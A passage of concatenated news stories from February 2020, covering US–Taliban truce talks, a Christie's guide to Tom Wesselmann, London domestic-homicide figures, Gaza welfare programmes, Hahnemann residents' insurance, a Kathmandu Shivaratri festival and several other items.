step to deliver a comprehensive and permanent ceasefire and the future political roadmap for Afghanistan,' he said. The US top diplomat said that challenges remain, but that progress made so far 'provides hope and represents a real opportunity. The United States calls on all Afghans to seize this moment'. In a statement, Taliban security negotiators said 'a suitable security situation' would be created by the deal and that they hoped 'to lay the groundwork for peace across the country with the withdrawal of all foreign forces'. He made the announcement following a visit to Saudi Arabia (pictured) The partial truce will mark a historic step in more than 18 years of gruelling conflict in Afghanistan and would pave the way for a deal that could, ultimately, see the war end. Doha has been the venue for talks between the warring sides since 2018 even as fighting has continued across the country, killing hundreds of civilians and soldiers as the Taliban have expanded their territorial control. A Western diplomat said US negotiators were working on the idea that the Taliban should agree to a reduction in violence for at least ten days, it was reported last week. 'It is after those ten days of RIV that both sides can hold talks and firm up plans to hold intra-Afghan dialogue,' they said. US Secretary of State Mike Pompeo shakes hands with Saudi Crown Prince Mohammed bin Salman during visit to Riyadh, Saudi Arabia, yesterday US Marine pictured manning his fighting hole in southern Afghanistan following US invasion The agreement is a revival of a similar draft that came close to being signed in September. There are around 13,000 US troops in Afghanistan alongside thousands of NATO personnel following a US-led invasion of the country in September 2001. Donald Trump had pledged to get US troops out of Afghanistan in his 2016 presidential campaign. Get wild 10 things to know about Tom Wesselmann A guide to the Pop artist celebrated for his big, bold and beautiful nudes and vibrant still lifes. Illustrated with works offered in New York on 4 and 5 March 1. Before turning to art, Wesselmann studied psychology and served in the US Army Tom Wesselmann was born in Cincinatti, Ohio, in 1931. His friend Jim Dine was born in the same city four years later. Fellow Pop artists Roy Lichtenstein (1923-1997) and R.B. Kitaj (1932-2007) also spent their formative years in the Buckeye State. In 1952, after a years studying psychology at the University of Cincinatti, Wesselmann was drafted into the US Army, two years into the Korean War. While serving he learned, and then taught, the interpretation of aerial photographs. He also began to draw cartoons about his experiences. 2. Wesselmann initially wanted to be a cartoonist After returning to Ohio to complete his degree, Wesselmann pursued his ambition to become a cartoonist by enrolling at the Art Academy of Cincinatti. He earned enough money from having work published in magazines such as True, 1000 Jokes and the Saturday Evening Post to move to New York City. Wesselmann enrolled at Cooper Union, where his attention gradually turned to fine art. He received his diploma in 1959, and was poised to become one of the leading Pop artists of the next decade. Tom Wesselmann (1931-2004), Smoker, 1976. Lithograph in colours with embossing, on Arches paper. Sheet: 22 x 29 in (559 x 759 mm). Estimate: $3,000-5,000. Offered in Contemporary Edition on 4 March 2020 at Christies in New York 3. Wesselmann adopted the pseudonym Slim Stealingworth to write his own autobiography Wesselmann, penned by the artist as Slim Stealingworth, was published in 1980. The book, in which the artist was referenced in the third person, recalled the impact of seeing a Robert Motherwell (1915-1991) painting called Elegy to the Spanish Republic in the late 1950s: The first aesthetic experience He felt a sensation of high visceral excitement in his stomach, and it seemed as though his eyes and stomach were directly connected. See below for all upcoming works by Tom Wesselmann offered at Christies Wesselmann also found himself drawn to the work of Willem de Kooning (1904-1997). He was what I wanted to be, he told Art News in 1964. Stealingworth reported the influence of de Kooning in seminal terms: He realised he had to find his own passion [] he felt he had to deny to himself all that he loved in de Kooning, and go in as opposite a direction as possible. The traditional situations of painting would be the subjects: the reclining nude, a still life on a table, a portrait, an interior, etc. 4. He collaborated with other leading Pop artists Together with Jim Dine and Mark Ratliff, Wesselman founded the Judson Gallery in the basement of a church in Greenwich Village, where the first show included three-dimensional works by Claes Oldenburg (b. 1929). Wesselman showed a number of small collages in a two-man show alongside Ratliff. Two years earlier Wesselmann had met fellow art student Claire Selley, the model for many of his works, who would later become his wife. 5. Wesselmanns breakthrough came with The Great American Nude series Wesselmann had a dream about the phrase red, white and blue, and in 1961 decided to paint a Great American Nude with its echoes of the fabled Great American Dream and Great American Novel featuring these and other patriotic colours, as well as motifs such as stars and stripes. It would be the first of many canvases that also combined prosaic aspects of American life advertising and fast food, for example with references to modern masters such as Matisse, Mondrian and Modigliani. Wesselmanns work was included in a number of the groundbreaking Pop Art exhibitions of the early 1960s, including New Realists at the Sidney Janis Gallery, and The Popular Image, staged at the Washington Gallery of Modern Art. Tom Wesselmann (1931-2004), Great American Nude # 21, executed in 1961. Casein, enamel, graphite, printed paper, fabric, linoleum and embroidery on board. 60 x 48 in (152.4 x 121.9 cm). Sold for $3,330,500 on 11 May 2011 at Christies in New York. Artwork: Estate of Tom Wesselmann/VAGA at ARS, NY and DACS, London 2020 6. A series of still lifes begun in 1962 continued the use of collage and incorporated real objects Referencing the tradition of European still lifes that exalt the beauty and harmony of the assembled objects, Wesselman arranged scenes in which bold-hued, mass-produced objects sliced white bread, a packet of cigarettes, a milkshake, a bottle of beer are juxtaposed and seem to compete for our attention. Ultimately these still lifes came to embrace real objects. Still Life #20 (1962) includes a three-dimensional cabinet above a sink, plus a light than can be turned on or off, alongside images of food and drink in two dimensions. Still Life #24 (1962) incorporates a plastic corn cob that Wesselmann bought from a corn seller for $50. Wesselmann even went so far as to include a working television in Still Life #28 (1963). Stealingworth noted that he was interested in the competitive demands that a TV, with moving images and giving off light and sound, can make on painted portions. Tom Wesselmann (b. 1931), Still Life #28, executed in March 1963. Acrylic and cardboard collage on board with working television. 48 x 60 in (122 x 151.4 cm). Sold for $798,000 on 13 November 2001 at Christies in New York. Artwork: Estate of Tom Wesselmann/VAGA at ARS, NY and DACS, London 2020 7. His choices of objects, colours and textures were intended to make his art get wild Again talking to Art News in 1964, Wesselmann said that what he was looking for in his tableaux was Not just the differences between what [the objects] were, but the aura each had with it. They each had such a fulfilled reality: the reverberations seemed a way of making a picture more intense. A painted pack of cigarettes next to a painted apple wasnt enough for me. They are both the same kind of thing. But if one is from a cigarette ad and the other a painted apple, they are two different realities and they trade on each other. At first glance, my pictures seem well-behaved, as if that is a still life, OK. But these things have such crazy give-and-take that I feel they get really very wild. 8. He painted nudes using his own Pop visual language Where some see the objectification of women in Wesselmanns nudes, others find a celebration of sexuality. Painting, sex and humour are the most important things in my life, the artist said in a 1984 interview. People think of him a as a one-dimensional artist who focused only on naked women, says Lindsay Griffith, International Head of Contemporary Editions. The reality is that he was thinking about the artists muse in a very different way in his own Pop visual language and I think that should be his legacy. Wesselmann remained married to his wife Claire from 1963 until his death in 2004. Claire was certainly his muse, notes Griffith. Theres a tradition of painting the female muse throughout art history, and I think Wesselmann is a continuation of that. Clearly how we consider these images is going to change over time, but I think Wesselmanns investment in continuing and reinventing that tradition is worth celebrating. Monica Serra, whom he met in the 1980s, was another frequently painted model. He thought of me as ethereal something special, she told the The Guardian newspaper in 2016. Having started out depicting the entire nude female form, Wesselmann later shifted to disembodied, individual body parts such as the mouth, feet, and breasts. Seductive, ominous, and alluring, the mouth, with its delicate wisps of cigarette smoke being exhaled, has become the most identifiable and desired image of this type of work. These are women who are very confident and have total control of their bodies and the way that they are being showcased in his art, observes Rachael White Young, a specialist in the Post-War and Contemporary Art department in New York. That focus on the sexual revolution of the 1960s is a very important part of his oeuvre. I think Wesselmann is able to toe the line very gracefully in a way that some other artists are not. Something about Wesselmann still feels classic. Sign up today Christies Online Magazine delivers our best features, videos, and auction news to your inbox every week Subscribe 9. Wesselmann was a ceaselessly inventive workaholic Wesselmann would walk to his huge studio in Cooper Square in Manhattan six days a week for 32 years. He put in long hours, producing series that included the billboard-sized Landscapes; the Seascapes, in which womens breasts and nipples often loom large in silhouette; Mouths, frequently embracing cigarettes and clouds of smoke; and the Bedroom Paintings, which offered fragmented close-ups of the nude alongside pillows, curtains, light switches or flowers. In the 1980s he began to recreate the lines of quick pen sketches he had made using painted cut-out steel and aluminium. The enlarged, brightly coloured Steel Drawings are such an important part of his work. He pursued them until his death, and its these in particular that are really having a moment, says Griffith. After a long hiatus, Wesselmann also revisited The Great American Nudes these later works have been dubbed The Sunset Nudes. As he neared the end of his life in 2004, he became so frail that Claire had to escort him to his studio: He said to me that every brushstroke was physically painful, but he couldnt stop. Tom Wesselmann (1931-2004), Bedroom Painting #37, painted in 1977. Oil on canvas. 70 x 68 in (177.8 x 172.7 cm). Sold for $3,218,500 on 12 November 2008 at Christies in New York. Artwork: Estate of Tom Wesselmann/VAGA at ARS, NY and DACS, London 2020 D omestic homicides fell by nearly 50 per cent in London last year as police used Clares Law to warn hundreds more women about their new partners abusive history. Scotland Yards new online portal made it easier for potential victims, or concerned relatives, to ask officers to disclose if an individual posed serious risk. Last year, the Met made 468 disclosures, compared with 317 in 2018 and 195 in 2017. Domestic homicides fell from 27 in 2018 to 15 last year even though the overall toll of 149 killings was an 11-year high. Set up in 2014, the Domestic Violence Disclosure Scheme known as Clares Law enables people to ask police if their partner has a history of domestic violence. It followed a five-year campaign by the parents of Clare Wood, 36, who was strangled and set on fire by a man she met on Facebook, unaware of his violent past in Greater Manchester. Acting Detective Chief Inspector Pam Chisholm, who leads the Mets Domestic Abuse Team, told the Standard police should not be complacent about the fall in female killings. She said: My overall responsibility is to eradicate domestic homicide. I would 100 per cent say one killing is one too many. Weve gone to great lengths to advertise Clares Law. We would encourage anyone with concerns about their partner, or family members who think someone is in relationship that doesnt feel right, to come forward and ask the question. We will only disclose information to the relevant person. If a mother asks, we would research and identify if there was a need for a disclosure, then reach out to the daughter. She said there had been a cultural change in the Met, so that all staff are talking about tackling and preventing domestic abuse. Information was shared with other agencies, such as social services, and after each homicide there is a review to make recommendations. We are doing a lot with victims to reduce the risk, said DCI Chisholm. Last year, after police in London were called to domestic incidents, 592 suspected abusers were issued with prevention notices barring them from entering the family home for 48 hours. Five hundred more magistrates court orders were granted to ban partners from returning for 14 to 28 days. Hong Kong: Anti-epidemic funding welcomed Chief Executive Carrie Lam has welcomed the passage of the funding application for the Anti-epidemic Fund by the Legislative Council Finance Committee today. In a statement, Mrs Lam expressed her heartfelt thanks to LegCo members for their support and approval of the funding application for the $30 billion Anti-epidemic Fund to achieve the objective of fighting the disease together to ride out these difficult times. She said all relevant bureaus will spare no effort in implementing the measures as pledged and try to ease procedures to benefit enterprises and the public as soon as possible, adding that the Government is pleased to submit a quarterly report to LegCo on the implementation of every measure. "The Government will continue to assess the impact of the epidemic on society and listen to comments from all sectors, while introducing more support measures as necessary. The Financial Secretary will announce the 2020-21 Budget on February 26 and will introduce measures as in the past to support the economy and relieve people's burden. "In addition to the assistance provided by the Government, I appeal again to all sectors in society to stand united in this difficult time and support each other with the spirit of mutual care and assistance to prevail in this challenging period," Mrs Lam added. This story has been published on: 2020-02-21. To contact the author, please use the contact details within the article. LAS VEGAS President Trump said Friday that the disclosure by American intelligence officials that Russia was again meddling in a presidential election in his favor was merely another partisan attack against him, continuing a pattern in which he has sought to dismiss warnings of foreign interference in American elections. Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa, Mr. Trump wrote on Twitter. Hoax number 7! He was responding to reports of a classified briefing in which intelligence officials told members of the House Intelligence Committee that Russia was interfering in the 2020 presidential campaign to aid his re-election. Republicans on the committee challenged the conclusions and Mr. Trump berated Joseph Maguire, the outgoing acting director of national intelligence, for allowing the briefing to happen. Intelligence officials have also concluded that the Russians are seeking to help Senator Bernie Sanders of Vermont in the Democratic presidential primaries. Dublin's Trinity College on Friday launched the Engineering, Environment and Emerging Technologies scholarships worth 5,00,000 Euros for undergraduate and postgraduate programmes. "Indian students have greatly contributed to the educational and student experience for all students and staff at Trinity and I hope that these scholarships will attract students to apply for programmes in the E3 Schools," said Sinad Lucey, E3 Business Manager at Trinity College, Dublin. The scholarships are open for applications for undergraduate and postgraduate offer holders in courses like Engineering, Natural Science and Computer Science and Statistics. "E3 is an ambitious project to expand and research activities across three of our Schools -- The Schools of Engineering, Natural Sciences, and Computer Science and Statistics. Recognising the importance for humanity in addressing the challenge of sustainable technological development, the expansion of the three schools is being executed as a single strategic activity in the area of engineering, energy, and environment," she added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) : The Ministry of External Affairs has been taking up country's economic diplomacy to local stakeholders in order to take part in the business opportunities available overseas, a senior MEA official said here on Friday. External Affairs Ministry (Economic Relations) Secretary T S Tirumurti said, "in line with the Centre's commitment in cooperated federalism and the Prime Minister (Narendra Modi's) vision of Team India, the Ministry effectively served as a single point contact for outreach efforts of all states and union territories particularly in attracting foreign investments." Tirumurti was speaking at the Diplomatic Outreach Event organised by the MEA and government of Tamil Nadu on the topic-"Economic and investment opportunities in the State."He said the Ministry has been pro-actively encouraging and supporting the States in their international outreach. "The idea is to take India's economic diplomacy to the local stakeholders and provide them the platform to participate in investment and trade opportunities available in countries abroad," he said. Tamil Nadu has been a cradle of ancient Indian civilisation and was one of the most vibrant of Indian states in socio and economic development, he said adding as one of India's most progressive states. It has also excelled in manufacturing and services among others, he added. Tirumurti said the setting up of the Ministry's Branch Secretariat in 2007 in Chennai was a major step towards effective interaction between the Ministry of External Affairs and the state government. The Branch Secretariat along with the regional office of Indian Council for Cultural Relations has aided the state in promoting tourism and cultural exchanges with various parts of the world. The event which is being attended by over 50 diplomats was inaugurated by Chief Minister K Palaniswami and senior government officials. The event On the opening day, diplomats and the State government would discuss strengthening trade relations between Tamil Nadu and various countries. On the second day tomorrow, the participants including High Commissioners, Ambassadors and members of the diplomatic community would make a visit to UNESCO heritage site Mamallapuram. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) GAZA CITY, Gaza Strip Gaza is awaiting the arrival early next week of a high-level delegation from the Ramallah-based Ministry of Social Development. The ministry is expected to reinstate its programs in the Gaza Strip that were folded last May. The ministry's programs were discontinued following disputes between the central government in Ramallah and the Hamas administration in Gaza over the running of the ministry. Hamas had undermined the implementation of the programs and the collection of demographic data. In a statement issued by Ramallah in August 2019, the Ministry of Social Development held Hamas responsible for the cessation of its Gaza programs, which benefit the poor. Among the most significant programs offered by the ministry is the cash transfer scheme, which serves some 71,000 poor families in Gaza. Beneficiaries receive quarterly payments between $230 and $515, depending on financial need. Until recently, the Ministry of Social Development was the only ministry not affected by the Palestinian political division. The Ramallah-based government had supervised the ministry in Gaza and allocated its budget since 2011. Yet, in a Jan. 29 press release, Ramallahs Ministry of Social Development announced it had regained direct supervision of its main programs in Gaza, returning a cohort of managers to its Gaza headquarters. The success of this move, according to the ministry, would depend on a comfortable work environment for ministry staff and its ability to work free from pressure, obstructions or unprofessional interventions from any party. Louay al-Madhoun, the ministry's commissioner-general for southern governorates, told Al-Monitor that problems could be traced back to the formation of the Palestinian government, headed by Mohammad Shtayyeh, in April 2019. Prime Minister Rami Hamdallah had resigned, claiming that the reconciliation process with Hamas had stalled. Hamas, meanwhile, refused to cooperate with the new ministers, accusing the new government of separatism and defying the national consensus. Hamas then formed a separate administrative committee in Gaza to manage ministries outside the sway of appointed officials in Ramallah. Following these developments, Madhoun explained, the minister of social development, Ahmed Majdalani, swiftly established a committee of ministry employees affiliated with the Ramallah government to ensure the continuity of the ministrys work in Gaza and to supervise the implementation of programs. However, the committee was subsequently exposed to threats by the Hamas government, which ordered the prohibition of its operations. It is unreasonable for the minister [Majdalani] to sign agreements and partnerships with international institutions and finance the ministrys programs when they will be implemented by employees who are not affiliated with him that is, employees of the Hamas government, Madhoun said. How can they be held responsible for important and sensitive matters that affect the lives of citizens if he does not have any authority over them nor is he able to hold them accountable, since they do not fall within the legal, administrative and financial jurisdiction of his government? Madhoun continued, It is only natural for the mission to be carried out by employees of the Palestinian government in Ramallah. Madhoun said that the ministrys charter and services necessitated the intervention of a number of international mediators and independent individuals to negotiate the obstacles between the Hamas government and the ministry in Ramallah. Accordingly, Majdalani and Ghazi Hamad, the undersecretary of the Ministry of Social Development in Gaza, reached an agreement that 15 ministry employees from the Ramallah government bearing central responsibilities would return to Gaza. The next phase would be the redeployment of a larger number of employees. Madhoun further indicated that the majority of the ministrys programs and operations have been restored, including poverty reduction schemes, in-kind cash assistance and economic empowerment, as well as programs for families, children and individuals with disabilities. Additional programs include information systems relating to computerized cash assistance, coordination and management of funded projects, administrative and financial affairs related to government employees, and oversight of legal associations licensed by the Ministry of Interior. An August 2019 order from Majdalani stated that ministry employees were obliged to stay in their homes and refrain from escalating affairs by going to the ministry in Gaza, according to Madhoun. Majdalani further rejected the operations of Hamas, whose committee was obstructing employees' work. Madhoun added that the ministerial delegation from Ramallah will be tasked with restoring the screening of national programs in Gaza and training employees. Some departments will be managed by a bilateral committee of employees from both Gaza and Ramallah. In a significant step toward achieving this agreement, new humanitarian cases will be taken on early next month," he said. "We will also work to approve 10,000 audited cases for the anti-poverty program for the first time in several years. Hamad, meanwhile, refused to discuss the matter with Al-Monitor, given the sensitivity of the issue. Gaza resident Ibtihal Muhammad, 30, told Al-Monitor, I hope to be able to receive financial assistance from the ministry's anti-poverty program. She submitted the required documents for assistance to the ministry over three years ago but has not yet received funds. Her ex-husband lives in Egypt, and she has since been unable to find work and struggles to feed herself and her daughter each day. Moeen Rajab, a professor of economics at Gaza's al-Azhar University, told Al-Monitor that the disruption of the national program had undermined the collection and updating of data. He noted that it was preferable for the ministry to remain neutral, given the nature of the services it provides to Gaza citizens, who are enduring extreme economic hardship. According to an Oct. 17 statement from the ministry in Gaza, the rate of poverty and unemployment in the Strip in 2019 reached nearly 75%, confirming that poverty indicators in Gaza are among the highest in the world. Rajab said the ministry must stay abreast of developments in Gaza without interrupting its provision of services. The ministry's obligations extend to a whole host of disadvantaged groups, he said, and the Palestinian Authority must increase financial support to the ministry's programs and development. Its relief role must gradually transform into a developmental role that assists in creating job opportunities for the poor and empowering them economically, he said. Dr. Phillip R. Langsdon, a board-certified facial plastic surgeon and immediate past president of the American Academy of Facial Plastic and Reconstructive Surgery (AAFPRS), was recently recognized for his expertise in rhinoplasty in an AAFPRS video highlighting the 2020 Advances In Rhinoplasty Symposium scheduled for Miami, Florida, this May. The video is disseminated to facial plastic surgeons and plastic surgeons around the world. AAFPRS is a medical society focused on plastic and reconstructive surgery. While Dr. Langsdon is already highly recognized as a facial plastic surgeon, professor, physician, and author, he is also among the leading rhinoplasty experts in the world. With over 25 years of experience performing rhinoplasty surgery, Dr. Langsdon has established innovative methods that aim to address the specific needs of each patient. His exceptional skills and experience ensure that his rhinoplasties are precise, minimally invasive, and give the patient a balanced and proportional nose. I take pride in my ability to identify a patients aesthetic needs, Dr. Langsdon said. I recognize that each nose is different and that all patients are going to have different ideas of what the outcome should be. Patients can rest assured that the results of the procedure will be natural and balanced. While rhinoplasties are one of The Langsdon Clinics specialties, Dr. Langsdon and his team are also well-known for specializing in facial cosmetic surgery, including facelifts, otoplasties, eyelid surgeries, and hair restorations. The Langsdon Clinic, established in 1986 in Germantown, Tenn., is one of the leading facial plastic surgery institutions in the United States. Patients in the Memphis and Mid-South areas do not have to fly to Beverly Hills or New York City to find the very best facial plastic surgery. Apart from his expertise in rhinoplasty surgeries, Dr. Langsdon has continued to earn accolades as one of the top facial plastic surgeons in the country. He has been voted as one of Americas Top Plastic Surgeons and Americas Best Doctors time and time again. The Memphis daily newspaper, The Commercial Appeal, honored The Langsdon Clinic as the best cosmetic surgery practice in the Memphis area for many consecutive years. Dr. Langsdon is an outstanding facial plastic surgeon whose skills in rhinoplasty are among the best in the world. If you are interested in learning more about The Langsdon Clinic, please visit: https://www.drlangsdon.com. To see Dr. Langsdon being featured in the AAFPRS Advances in Rhinoplasty video, please paste the following link into your browser: https://youtu.be/Izfk6A3lRRk. Maharashtra Minister of Tourism and Environment Aaditya Thackeray on Friday said that various issues concerning the state and its relation with the Centre were discussed during the meeting with Prime Minister Narendra Modi. Taking to Twitter, Aaditya wrote: "This evening CM Uddhav Thackeray ji and I called on the Prime Minister Narendra Modi ji, discussing with him various issues of Maharashtra and our federal relation of Centre-State." He also informed that the issues of good and services tax compensation to States, including Maharashtra, Prime Minister Fasal Bima Yojna, Central Road Fund, Baliraja Sanjivani Yojana pending proposals and the Punjab and Maharashtra Co-operative Bank Limited, (PMC) bank were discussed with the Prime Minister. Aaditya also discussed environmental issues including electric mobility, renewable energy, solarising highways and the ban on single-use disposable plastics with the Prime Minister. "I had the opportunity to discuss environmental issues including electric mobility, renewable energy, solarising highways, the ban on single-use disposable plastics with the Prime Minister. I briefed him about the urban forests we are creating in Maharashtra," he said. Earlier in the day, Chief Minister Uddhav and Aaditya met Prime Minister Modi here. In the pictures shared by the PMO, Uddhav and his son can be seen greeting the Prime Minister with a bouquet.The father-son duo is also scheduled to meet Congress interim president Sonia Gandhi and senior BJP leader LK Advani today. Earlier in the day, Shiv Sena leader Sanjay Raut said that Uddhav and Modi have cordial relations. "The relation of elder brother and younger brother continues between them," he said.This is Uddhav's first visit to Delhi after assuming the post of Maharashtra Chief Minister.The meeting between Uddhav and Modi comes ahead of the Assembly session of Maharashtra that is scheduled to begin on February 24. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In 1920, the YWCA in High Point opened its doors at a place known as the Hut on 4th Street thanks to visionary and progressive minded women who saw a need for services YWCA could provide. Programming included Girl Reserves; Travelers Aid to assist stranded visitors and women who were flocking to High Point to work in the many knitting mills; and the Business and Professional Club. In 1944, Maybelle Nixon led a group of African American leaders to open the Mary Bethune Branch of the YWCA. For the next two decades the two YWCA branches in High Point would work toward mutual understanding and communication until 1968, when the Girl Reserves from the two branches were integrated. In 1975, the Mary Bethune Branch officially merged into the Adams YWCA, which would become what is today YWCA High Point. In 1946, YWCA adopted an interracial charter, eight years before the Supreme Court ended segregation. YWCA has led the way for racial justice and equality and womens rights for decades. YWCA High Point continues this charge to this day, bringing womens empowerment workshops and programming to the greater High Point community and partnering with local foundations to bring racial equity training to city leaders and residents. The bankrupt parent of the former Hahnemann University Hospital has agreed to buy malpractice insurance that will protect hundreds of medical residents who trained at the Center City hospital before it closed last summer, according to a court filing Thursday. If the bankruptcy judge approves the proposal, which will cost $9.3 million, the insurance coverage known as tail insurance because it will cover incidents far into the future eliminates the possibility of residents losing their licenses if they didnt have the insurance. It also covers fellows and physicians who worked at Hahnemann while it was run by Joel Freedman, the California business man who paid $170 million for Hahnemann and St. Christophers Childrens Hospital in January 2018. Thats wonderful news. This was a cause for incredible amounts of stress for us, said Atul Bali, now a third-year resident at the Hospital of the University of Pennsylvania. He said residents were receiving individual quotes for the insurance north of $25,000 and up to $50,000. The Pennsylvania Academic Risk Retention Group LLC will provide the insurance coverage. Hahnemann will pay $6.2 million for the coverage. The rest will be covered by the malpractice insurer, which is owned by Freedman. For months, Hahnemann insisted that it had no obligation to purchase tail insurance for the residents. However, in December, lawyers hired by the American Medical Association ratcheted up the pressure on Hahnemann by asking the bankruptcy judge, Kevin Gross, to convert the bankruptcy to a liquidation if Hahnemann did not buy the insurance. The risk of litigation over that effort to compel the purchase and the threat of liquidation were among the reasons Hahnemann decided to buy the insurance. Hahnemanns efforts also resulted from a genuine desire to mitigate at least some of the harm to the regional medical community caused by Hahnemanns closure, the filing said. The AMA said Thursday that it is cautiously optimistic that, with todays settlement filing, relief may be just around the corner for hundreds of residents and fellows impacted by the Hahnemann closure. This would be a significant victory, not just for these physicians, but for the patients they serve." David Aizenberg, who was the director of Hahnemanns largest residency program, in internal medicine, and has doggedly advocated for a solution, said that, in addition to the national medical association, the Philadelphia County Medical Society, the Pennsylvania Medical Society, and others were instrumental in guiding our former trainees through this crazy process. The lives of former trainees at Hahnemann Hospital could have been significantly impacted by not obtaining tail coverage, said Aizenberg, who now works at the Hospital of the University of Pennsylvania. Many of them would not have been able to afford purchasing it on their own and their future careers may have been placed in jeopardy. The hospital has done the right thing by agreeing to purchase this, he said. Thursdays filing contained the additional news that Thomas Jefferson University Hospitals Inc. on Tuesday terminated its agreement to pay $55 million for Hahnemanns medical residency programs. The bankruptcy judge approved the sale in September, but officials at Medicare, which pays the salaries of the residents, appealed the decision to U.S. District Court, where was still pending. US President Donald Trump lauded Bollywood gay romantic comedy Shubh Mangal Zyada Saavdhan on Friday. President Trumps praise for the film came in the wake of a tweet posted by human rights campaigner and LGBTQ+ activist Peter Tatchells social media post praising the Ayushmann Khurrana starrer. A new #Bollywood rom-com featuring a gay romance is hoping to win over older people, following the decriminalisation of homosexuality. Hurrah! tweeted @PeterTatchell. To this, @realDonaldTrump tweeted: Great! The retweet has been liked 16.3k times at the time of publishing the story. Given Trump administrations view on gay rights, the great tweet praising an Indian movie championing the cause, took twitterati by surprise. The tweet may be seen as a departure from Trumps earlier view on the issue just ahead of his second presidential bid. Trump has repeatedly touted himself as an ally of the LGBT+ community, despite his administration curtailing the rights of trans people, including banning them from military service and urging the Supreme Court to ensure gay employees are not protected under the Civil Rights Act. Trumps comment comes ahead of his 36-hour standalone visit to India. He will be travelling to Ahmedabad and Agra, apart from New Delhi. Trump is expected to be welcomed in Gujarat by 7-10 million people enroute to the Motera stadium. Gay sex was made legal by Indias Supreme Court in 2018 after judges cast off colonial-era legislation. Shubh Mangal Zyada Saavdhan released on February 21 in India. The film stars Ayushmann Khurrana and debutant Jitendra Kumar in a small town setup, and also features the Badhai Ho pair of Neena Gupta and Gajraj Rao. The film is written and directed by debutant Hitesh Kewalya. The movie is a standalone sequel to the 2017 film Shubh Mangal Saavdhan. The film stars Ayushmann Khurrana as a gay man, and is being touted as the first mainstream gay love story in Bollywood. She's no stranger to flaunting her figure in a slew of vintage looks. And Stella Maxwell was displaying her toned abs in a tight white crop top on Friday as she arrive for the star-studded Etro show at Milan Fashion Week. The Belgian model, 29, looked sensational in a 90s-inspired double denim look as she joined Irina Shayk, 34, in heading to the fashion showcase. Stylish: Stella Maxwell, 29, displayed her toned abs in a white crop top and double denim on Friday, as she and Irina Shayk, 34, (left) headed to the Etro show at Milan Fashion Week Stella cut a casual figure in the relaxed white crop which she teamed with a matching denim jacket and jeans. The Victoria's Secret Angel teamed the off-duty look with black trainers and carried her essentials in a classic black handbag. Stella shielded her eyes behind a pair of classic Ray Ban sunglasses, Stella looked completely relaxed as she headed into the venue to model the runway show. Relaxed: The Belgian model displayed her toned tummy in the crop which she teamed with a denim jacket and relaxed jeans Meanwhile Irina was also looking stylish in a fun grey jumper which a picture of the cartoon Jerry The Mouse, teamed with a matching handbag and bold paisley printed trousers. Stella was joined by a male friend for her outing in the city where many A-list stars have descended to enjoy fashion week. The model made her Victoria's Secret debut in 2014 and became an angel the following year. During her career, she has also modelling for the likes of Alexander McQueen, Karl Lagerfeld, Tommy Hilfiger and Versace. Pals: Meanwhile Irina opted for a relaxed grey jumper emblazoned with a cartoon image of Jerry The Mouse, along with a matching handbag and paisley printed trousers In late November, Stella was granted a five-year restraining order against her stalker. Stella was joined by a male friend for her outing in the city where many A-list stars have descended to enjoy fashion week. The model made her Victoria's Secret debut in 2014 and became an angel the following year. During her career, she has also modelling for the likes of Alexander McQueen, Karl Lagerfeld, Tommy Hilfiger and Versace. In late November, Stella was granted a five-year restraining order against her stalker. Hindu holy men were joined by devotees and the public on Friday at a revered temple in Kathmandu where they lit up marijuana cigarettes during an annual festival despite prohibition and warnings by authorities. Hundreds of police officers patrolled the forested area around the Pashupati temple, which was crowded with cannabis smokers celebrating the Shivaratri festival. A group of ruling party lawmakers has recently filed a petition to legalise the farming and use of marijuana. There is a ban on smoking marijuana but at the same time it is a centuries-old tradition, which we have to respect, said police officer Suman Khadka, adding that no arrests were made. During the festival, devotees visit temples of Hindu god Shiva. In pictures: Shivaratri festival in Kathmandu Show all 12 1 /12 In pictures: Shivaratri festival in Kathmandu In pictures: Shivaratri festival in Kathmandu A Hindu holy-person celebrates the Maha Shivaratri festival in Kathmandu on 21 February 2020 EPA In pictures: Shivaratri festival in Kathmandu A group of Hindu holy-people smoke at the Parshupati Temple in Kathmandu Nepal on 21 February 2020 EPA In pictures: Shivaratri festival in Kathmandu A man smokes as part of the celebrations in Kathmandu Nepal on 21 February 2020 EPA In pictures: Shivaratri festival in Kathmandu EPA In pictures: Shivaratri festival in Kathmandu AP In pictures: Shivaratri festival in Kathmandu AP In pictures: Shivaratri festival in Kathmandu AP In pictures: Shivaratri festival in Kathmandu AP In pictures: Shivaratri festival in Kathmandu AP In pictures: Shivaratri festival in Kathmandu AFP via Getty Images In pictures: Shivaratri festival in Kathmandu AFP via Getty Images In pictures: Shivaratri festival in Kathmandu AFP via Getty Images Currently, the use of marijuana is punishable by prison sentences of up to a month for users and 10 years for traffickers. There is really no harm in smoking marijuana, it has been proven to have medical use too, said Bimal Giri, a factory worker who bought joints for 50 rupees (0.34) each from a Hindu holy man. Nepal was famous for marijuana and other narcotics in the 1960s, when hippies made their way to the Himalayan nation. Shops and tea houses used to advertise and sell it legally. However, marijuana was outlawed in 1976. Associated Press A University of Houston researcher is working to increase health literacy among Hispanics/Latinos (H/Ls) when it comes to Alzheimer's disease (AD). The largest ethnic minority in the U.S., at 18% of the population, H/Ls are 50% more likely to develop Alzheimer's disease than non-Hispanic whites. H/Ls also live longer, develop AD symptoms earlier, are diagnosed at later stages and are less likely to be treated. Given those statistics, it's startling that Hispanics/Latinos comprise less than 1% of clinical trials for Alzheimer's disease. "From a social justice perspective, in order to help reduce health disparities we need to involve these communities in the decision-making process," said Luis D. Medina, assistant professor of psychology. He will use a $2.35 million grant from the National Institute on Aging to build his "Engaging Communities of Hispanics for Aging Research Network." "There are various barriers to getting involved in research, including health literacy or what people actually know about Alzheimer's disease. In the Hispanic/Latino communities, it is often thought of as just a part of aging," said Medina, who believes the solution begins with education. The network will launch in two pilot cities, Houston and Denver. Step one is "boot camp translation" wherein community stakeholders are immersed in learning about the disease, and then the tables turn - the community members educate the trainers on how to speak to their communities. In boot camp translation we break down the medical jargon to consumable, understandable lay language and the community tells us how to do that. The communities have a lot of strengths that we, as researchers, may or may not have. We are hoping to put more seats at the table so that the communities are involved in research infrastructure and help drive research projects." Luis D. Medina, assistant professor of psychology, University of Houston Steven Woods, UH professor of psychology and Jennifer Vardeman, UH associate professor of communication, are assisting on the project in collaboration with Baylor College of Medicine, University of Colorado School of Medicine, University of Nevada, Las Vegas and the Lou Ruvo Center for Brain Health at the Cleveland Clinic in 